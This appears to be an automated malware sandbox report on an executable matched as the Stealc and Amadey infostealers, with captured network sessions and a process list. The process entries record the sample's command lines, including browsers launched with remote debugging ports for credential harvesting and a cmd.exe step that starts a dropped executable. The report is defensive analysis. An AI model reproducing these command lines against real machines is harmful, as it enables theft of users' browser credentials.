2024-11-23 00:14:55 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	49939	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:55 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:55 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:55 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: ccd0b474-201e-0096-421e-3dace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001455Z-178bfbc474b9fdhphC1NYCac0n00000003rg000000000tp7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:55 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.5	49938	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:55 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=XxOFOFpDXBZmBM8&MD=x+H955wz HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-23 00:14:55 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 3cf8e0b4-1fab-4971-af69-149bbbee3330 MS-RequestId: e9efd629-00eb-4659-8438-0a3724d66579 MS-CV: 5ZD30ydmc0e85UXb.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 23 Nov 2024 00:14:54 GMT Connection: close Content-Length: 30005
2024-11-23 00:14:55 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-23 00:14:55 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	49940	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:55 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:55 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:55 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: b5a95b30-c01e-002b-0632-3c6e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001455Z-178bfbc474btrnf9hC1NYCb80g00000003sg00000000pkqx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:55 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	49942	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:55 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:55 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:55 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: f77b0594-001e-0014-3c66-3b5151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001455Z-178bfbc474brk967hC1NYCfu6000000003eg00000000k0s1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:55 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	49944	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:57 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:57 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:57 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 0cd55988-601e-003e-4d0c-3d3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001457Z-178bfbc474bv587zhC1NYCny5w00000003p0000000002wsg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:57 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	49945	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:57 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:57 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:57 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: d2879cce-801e-0047-5869-3b7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001457Z-178bfbc474b9xljthC1NYCtw9400000003fg00000000t9ke x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 00:14:57 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Target ID:	0
Start time:	19:13:53
Start date:	22/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x340000
File size:	1'769'472 bytes
MD5 hash:	D54B0C8F7977A9E67948BAB655FB380E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2537867494.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2540983254.00000000011DE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2035418521.0000000004E50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2537867494.000000000040C000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	19:14:05
Start date:	22/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	19:14:05
Start date:	22/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2272 --field-trial-handle=2212,i,7478136807645750746,17014002527103240084,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	19:14:15
Start date:	22/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	19:14:16
Start date:	22/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2416 --field-trial-handle=2312,i,5981494348251301959,4375700475387197058,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	19:14:16
Start date:	22/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	19:14:16
Start date:	22/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2784 --field-trial-handle=2492,i,658567257854944745,5466770528173167105,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	19:14:21
Start date:	22/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6512 --field-trial-handle=2492,i,658567257854944745,5466770528173167105,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	19:14:21
Start date:	22/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6996 --field-trial-handle=2492,i,658567257854944745,5466770528173167105,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	19:14:43
Start date:	22/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIDHCGDAFBK.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	19:14:43
Start date:	22/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	19:14:43
Start date:	22/11/2024
Path:	C:\Users\user\DocumentsIDHCGDAFBK.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsIDHCGDAFBK.exe"
Imagebase:	0xe20000
File size:	1'920'000 bytes
MD5 hash:	066CBA2D7733BA1CF42FB68AB5E404A6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000002.2615939383.0000000000E21000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000003.2528992424.0000000005550000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 50%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	19:14:46
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x680000
File size:	1'920'000 bytes
MD5 hash:	066CBA2D7733BA1CF42FB68AB5E404A6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000002.2615255445.0000000000681000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000003.2574457341.0000000004E60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 50%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	19:14:50
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x680000
File size:	1'920'000 bytes
MD5 hash:	066CBA2D7733BA1CF42FB68AB5E404A6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000002.2645191342.0000000000681000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000003.2604632856.0000000004CC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	19:15:00
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x680000
File size:	1'920'000 bytes
MD5 hash:	066CBA2D7733BA1CF42FB68AB5E404A6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000002.3295724379.0000000000681000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000003.2699998408.0000000004BA0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	19:15:16
Start date:	22/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7252 --field-trial-handle=2492,i,658567257854944745,5466770528173167105,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	19:15:17
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe
